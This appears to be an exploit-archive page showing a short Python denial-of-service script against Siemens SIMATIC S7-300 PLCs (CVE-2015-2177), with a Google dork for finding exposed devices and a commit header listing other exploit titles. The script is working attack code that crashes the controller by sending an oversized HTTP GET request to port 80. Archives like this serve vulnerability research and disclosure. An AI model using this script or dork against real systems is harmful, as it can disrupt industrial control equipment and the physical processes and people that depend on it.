89ee92def8
6 changes to exploits/shellcodes Siemens SIMATIC S7-300 CPU - Remote Denial of Service Procps-ng - Multiple Vulnerabilities SearchBlox 8.6.6 - Cross-Site Request Forgery Yosoro 1.0.4 - Remote Code Execution MachForm < 4.2.3 - SQL Injection / Path Traversal / Upload Bypass Dolibarr 7.0.0 - SQL Injection
21 lines
No EOL
588 B
Python
Executable file
21 lines
No EOL
588 B
Python
Executable file
# Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service
|
|
# Google Dork: inurl:/Portal/Portal.mwsl
|
|
# Date: 2018-05-30
|
|
# Exploit Author: t4rkd3vilz
|
|
# Vendor Homepage: https://www.siemens.com/
|
|
# Version: SIMATIC S7-300 CPU family: all versions.
|
|
# Tested on: Kali Linux
|
|
# CVE: CVE-2015-2177
|
|
|
|
#!/usr/bin/python
|
|
import socket
|
|
|
|
target_address="TargetIP"
|
|
target_port=80
|
|
|
|
buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n"
|
|
|
|
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
connect=sock.connect((target_address,target_port))
|
|
sock.send(buffer)
|
|
sock.close() |